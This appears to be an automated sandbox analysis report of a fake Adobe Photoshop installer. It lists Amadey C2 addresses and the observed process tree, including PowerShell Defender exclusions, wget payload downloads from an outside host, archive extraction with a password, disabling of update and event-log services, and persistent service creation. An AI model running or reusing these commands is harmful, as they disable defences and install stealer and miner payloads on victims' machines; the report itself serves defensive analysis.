Resubmissions

03-08-2024 16:41

240803-t65kvaygnq 10

03-08-2024 08:45

240803-kn1dqssgqh 10

Analysis

  • max time kernel
    204s
  • max time network
    204s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-08-2024 16:41

General

  • Target

    https://www.soft-got.org/adobephotoshop

Malware Config

Extracted

Family

amadey

Version

4.41

Botnet

9f93a2

C2

http://185.208.158.116

http://185.209.162.226

http://89.23.103.42

Attributes
  • install_dir

    3bca58cece

  • install_file

    Hkbsse.exe

  • strings_key

    554ac8d4ec8b2a0ead6c958fdfed18cb

  • url_paths

    /hb9IvshS01/index.php

    /hb9IvshS02/index.php

    /hb9IvshS03/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 15 IoCs
  • UPX packed file 17 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 23 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 52 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:3060
      • C:\Windows\SysWOW64\openwith.exe
        "C:\Windows\system32\openwith.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:2232
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://www.soft-got.org/adobephotoshop
      1⤵
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4800
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffdc8bfcc40,0x7ffdc8bfcc4c,0x7ffdc8bfcc58
        2⤵
          PID:2788
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1880,i,6654855690076951578,18114542214851952619,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=1876 /prefetch:2
          2⤵
            PID:1360
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2156,i,6654855690076951578,18114542214851952619,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2120 /prefetch:3
            2⤵
              PID:1460
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2256,i,6654855690076951578,18114542214851952619,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2264 /prefetch:8
              2⤵
                PID:2884
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3084,i,6654855690076951578,18114542214851952619,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3128 /prefetch:1
                2⤵
                  PID:2288
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3100,i,6654855690076951578,18114542214851952619,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3380 /prefetch:1
                  2⤵
                    PID:3692
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4568,i,6654855690076951578,18114542214851952619,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4736 /prefetch:8
                    2⤵
                      PID:2764
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4944,i,6654855690076951578,18114542214851952619,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4548 /prefetch:8
                      2⤵
                        PID:2536
                    • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                      "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                      1⤵
                        PID:3184
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                        1⤵
                          PID:2284
                        • C:\Windows\System32\rundll32.exe
                          C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                          1⤵
                            PID:752
                          • C:\Users\Admin\Downloads\Adobe_Photoshop\Launcher.exe
                            "C:\Users\Admin\Downloads\Adobe_Photoshop\Launcher.exe"
                            1⤵
                            • System Location Discovery: System Language Discovery
                            PID:2508
                            • C:\Users\Admin\AppData\Roaming\services\Launhcer.exe
                              "C:\Users\Admin\AppData\Roaming\services\Launhcer.exe"
                              2⤵
                              • Checks computer location settings
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              PID:1224
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
                                3⤵
                                • Command and Scripting Interpreter: PowerShell
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2744
                                • C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe
                                  "C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe"
                                  4⤵
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  PID:3520
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
                                    5⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:4972
                                  • C:\Users\Admin\AppData\Roaming\services\wget.exe
                                    "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/1/1 -P C:\Users\Admin\AppData\Roaming\services
                                    5⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • System Network Configuration Discovery: Internet Connection Discovery
                                    • Suspicious use of FindShellTrayWindow
                                    PID:2624
                                  • C:\Users\Admin\AppData\Roaming\services\winrar.exe
                                    "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\01plugins*.* "plugin*" C:\Users\Admin\AppData\Roaming\services
                                    5⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious use of FindShellTrayWindow
                                    PID:3884
                                  • C:\Users\Admin\AppData\Roaming\services\plugin31849
                                    C:\Users\Admin\AppData\Roaming\services\plugin31849
                                    5⤵
                                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:4228
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -u -p 4228 -s 648
                                      6⤵
                                      • Program crash
                                      PID:3236
                                  • C:\Users\Admin\AppData\Roaming\services\wget.exe
                                    "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/2/1 -P C:\Users\Admin\AppData\Roaming\services
                                    5⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • System Network Configuration Discovery: Internet Connection Discovery
                                    • Suspicious use of FindShellTrayWindow
                                    PID:4028
                                  • C:\Users\Admin\AppData\Roaming\services\winrar.exe
                                    "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\02plugins*.* "2plugin*" C:\Users\Admin\AppData\Roaming\services
                                    5⤵
                                    • Executes dropped EXE
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious use of FindShellTrayWindow
                                    PID:2508
                                  • C:\Users\Admin\AppData\Roaming\services\2plugin28438
                                    C:\Users\Admin\AppData\Roaming\services\2plugin28438
                                    5⤵
                                    • Executes dropped EXE
                                    • Drops file in System32 directory
                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:2780
                                    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                      6⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4444
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                      6⤵
                                        PID:1980
                                        • C:\Windows\system32\wusa.exe
                                          wusa /uninstall /kb:890830 /quiet /norestart
                                          7⤵
                                            PID:4204
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe stop UsoSvc
                                          6⤵
                                          • Launches sc.exe
                                          PID:3168
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                          6⤵
                                          • Launches sc.exe
                                          PID:500
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe stop wuauserv
                                          6⤵
                                          • Launches sc.exe
                                          PID:4508
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe stop bits
                                          6⤵
                                          • Launches sc.exe
                                          PID:812
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe stop dosvc
                                          6⤵
                                          • Launches sc.exe
                                          PID:2884
                                        • C:\Windows\system32\powercfg.exe
                                          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                          6⤵
                                          • Power Settings
                                          PID:3692
                                        • C:\Windows\system32\powercfg.exe
                                          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                          6⤵
                                          • Power Settings
                                          PID:4392
                                        • C:\Windows\system32\powercfg.exe
                                          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                          6⤵
                                          • Power Settings
                                          PID:2512
                                        • C:\Windows\system32\powercfg.exe
                                          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                          6⤵
                                          • Power Settings
                                          PID:3284
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe delete "OZLCSUZD"
                                          6⤵
                                          • Launches sc.exe
                                          PID:2268
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe create "OZLCSUZD" binpath= "C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe" start= "auto"
                                          6⤵
                                          • Launches sc.exe
                                          PID:4140
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe stop eventlog
                                          6⤵
                                          • Launches sc.exe
                                          PID:2916
                                        • C:\Windows\system32\sc.exe
                                          C:\Windows\system32\sc.exe start "OZLCSUZD"
                                          6⤵
                                          • Launches sc.exe
                                          PID:2812
                                      • C:\Users\Admin\AppData\Roaming\services\wget.exe
                                        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/3/1 -P C:\Users\Admin\AppData\Roaming\services
                                        5⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        • System Network Configuration Discovery: Internet Connection Discovery
                                        • Suspicious use of FindShellTrayWindow
                                        PID:1068
                                      • C:\Users\Admin\AppData\Roaming\services\winrar.exe
                                        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\03plugins*.* "3plugin*" C:\Users\Admin\AppData\Roaming\services
                                        5⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of FindShellTrayWindow
                                        PID:2416
                                      • C:\Users\Admin\AppData\Roaming\services\3plugin13200
                                        C:\Users\Admin\AppData\Roaming\services\3plugin13200
                                        5⤵
                                        • Checks computer location settings
                                        • Executes dropped EXE
                                        • Drops file in Windows directory
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of FindShellTrayWindow
                                        PID:656
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 656 -s 860
                                          6⤵
                                          • Program crash
                                          PID:1684
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 656 -s 888
                                          6⤵
                                          • Program crash
                                          PID:1856
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 656 -s 984
                                          6⤵
                                          • Program crash
                                          PID:2996
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 656 -s 992
                                          6⤵
                                          • Program crash
                                          PID:1064
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 656 -s 1028
                                          6⤵
                                          • Program crash
                                          PID:384
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 656 -s 1076
                                          6⤵
                                          • Program crash
                                          PID:3236
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 656 -s 1212
                                          6⤵
                                          • Program crash
                                          PID:3908
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 656 -s 1252
                                          6⤵
                                          • Program crash
                                          PID:5008
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 656 -s 1300
                                          6⤵
                                          • Program crash
                                          PID:1068
                                        • C:\Users\Admin\AppData\Local\Temp\3bca58cece\Hkbsse.exe
                                          "C:\Users\Admin\AppData\Local\Temp\3bca58cece\Hkbsse.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          PID:2032
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 688
                                            7⤵
                                            • Program crash
                                            PID:4564
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 708
                                            7⤵
                                            • Program crash
                                            PID:4772
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 728
                                            7⤵
                                            • Program crash
                                            PID:4368
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 896
                                            7⤵
                                            • Program crash
                                            PID:2824
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 916
                                            7⤵
                                            • Program crash
                                            PID:4880
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 916
                                            7⤵
                                            • Program crash
                                            PID:3904
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 968
                                            7⤵
                                            • Program crash
                                            PID:5000
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 1048
                                            7⤵
                                            • Program crash
                                            PID:3900
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 1188
                                            7⤵
                                            • Program crash
                                            PID:5104
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 1396
                                            7⤵
                                            • Program crash
                                            PID:2332
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 656 -s 884
                                          6⤵
                                          • Program crash
                                          PID:440
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
                                        5⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:2732
                              • C:\Users\Admin\Downloads\Adobe_Photoshop\Launcher.exe
                                "C:\Users\Admin\Downloads\Adobe_Photoshop\Launcher.exe"
                                1⤵
                                • System Location Discovery: System Language Discovery
                                PID:4860
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4228 -ip 4228
                                1⤵
                                  PID:4252
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 656 -ip 656
                                  1⤵
                                    PID:2952
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 656 -ip 656
                                    1⤵
                                      PID:5028
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 656 -ip 656
                                      1⤵
                                        PID:1904
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 656 -ip 656
                                        1⤵
                                          PID:1604
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 656 -ip 656
                                          1⤵
                                            PID:2504
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 656 -ip 656
                                            1⤵
                                              PID:1692
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 656 -ip 656
                                              1⤵
                                                PID:2508
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 656 -ip 656
                                                1⤵
                                                  PID:4772
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 656 -ip 656
                                                  1⤵
                                                    PID:4184
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 656 -ip 656
                                                    1⤵
                                                      PID:1188
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 2032 -ip 2032
                                                      1⤵
                                                        PID:5108
                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 2032 -ip 2032
                                                        1⤵
                                                          PID:4520
                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 2032 -ip 2032
                                                          1⤵
                                                            PID:5008
                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 2032 -ip 2032
                                                            1⤵
                                                              PID:3936
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 2032 -ip 2032
                                                              1⤵
                                                                PID:880
                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 2032 -ip 2032
                                                                1⤵
                                                                  PID:3460
                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 2032 -ip 2032
                                                                  1⤵
                                                                    PID:1096
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 2032 -ip 2032
                                                                    1⤵
                                                                      PID:2688
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 2032 -ip 2032
                                                                      1⤵
                                                                        PID:3036
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 2032 -ip 2032
                                                                        1⤵
                                                                          PID:3000
                                                                        • C:\Users\Admin\AppData\Local\Temp\3bca58cece\Hkbsse.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\3bca58cece\Hkbsse.exe
                                                                          1⤵
                                                                          • Executes dropped EXE
                                                                          PID:1856
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1856 -s 432
                                                                            2⤵
                                                                            • Program crash
                                                                            PID:4588
                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 1856 -ip 1856
                                                                          1⤵
                                                                            PID:1288
                                                                          • C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
                                                                            C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
                                                                            1⤵
                                                                            • Executes dropped EXE
                                                                            • Drops file in System32 directory
                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                            • Suspicious use of SetThreadContext
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            PID:2816
                                                                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                              2⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              • Drops file in System32 directory
                                                                              • Modifies data under HKEY_USERS
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:2560
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                              2⤵
                                                                                PID:1108
                                                                                • C:\Windows\system32\wusa.exe
                                                                                  wusa /uninstall /kb:890830 /quiet /norestart
                                                                                  3⤵
                                                                                    PID:4756
                                                                                • C:\Windows\system32\sc.exe
                                                                                  C:\Windows\system32\sc.exe stop UsoSvc
                                                                                  2⤵
                                                                                  • Launches sc.exe
                                                                                  PID:4840
                                                                                • C:\Windows\system32\sc.exe
                                                                                  C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                  2⤵
                                                                                  • Launches sc.exe
                                                                                  PID:3396
                                                                                • C:\Windows\system32\sc.exe
                                                                                  C:\Windows\system32\sc.exe stop wuauserv
                                                                                  2⤵
                                                                                  • Launches sc.exe
                                                                                  PID:4180
                                                                                • C:\Windows\system32\sc.exe
                                                                                  C:\Windows\system32\sc.exe stop bits
                                                                                  2⤵
                                                                                  • Launches sc.exe
                                                                                  PID:4764
                                                                                • C:\Windows\system32\sc.exe
                                                                                  C:\Windows\system32\sc.exe stop dosvc
                                                                                  2⤵
                                                                                  • Launches sc.exe
                                                                                  PID:4364
                                                                                • C:\Windows\system32\powercfg.exe
                                                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                  2⤵
                                                                                  • Power Settings
                                                                                  PID:3972
                                                                                • C:\Windows\system32\powercfg.exe
                                                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                  2⤵
                                                                                  • Power Settings
                                                                                  PID:4016
                                                                                • C:\Windows\system32\powercfg.exe
                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                  2⤵
                                                                                  • Power Settings
                                                                                  PID:2364
                                                                                • C:\Windows\system32\powercfg.exe
                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                  2⤵
                                                                                  • Power Settings
                                                                                  PID:3540
                                                                                • C:\Windows\system32\conhost.exe
                                                                                  C:\Windows\system32\conhost.exe
                                                                                  2⤵
                                                                                    PID:3740
                                                                                  • C:\Windows\system32\dwm.exe
                                                                                    dwm.exe
                                                                                    2⤵
                                                                                    • Modifies data under HKEY_USERS
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:2504
                                                                                • C:\Users\Admin\AppData\Local\Temp\3bca58cece\Hkbsse.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\3bca58cece\Hkbsse.exe
                                                                                  1⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:2600
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 2600 -s 436
                                                                                    2⤵
                                                                                    • Program crash
                                                                                    PID:3460
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 2600 -ip 2600
                                                                                  1⤵
                                                                                    PID:4368

                                                                                  Network

                                                                                  MITRE ATT&CK Enterprise v15

                                                                                  Replay Monitor

                                                                                  Loading Replay Monitor...

                                                                                  Downloads

                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\temp-index

                                                                                    Filesize

                                                                                    384B

                                                                                    MD5

                                                                                    492d6ecff81fc35bbfe1efd750797300

                                                                                    SHA1

                                                                                    b5b52e03a69b301cbbcc44630401bc30bb296e1a

                                                                                    SHA256

                                                                                    f9ba288c8979c8804e08e92847b1346e0923ed5b8d24227501b798c2ea02d911

                                                                                    SHA512

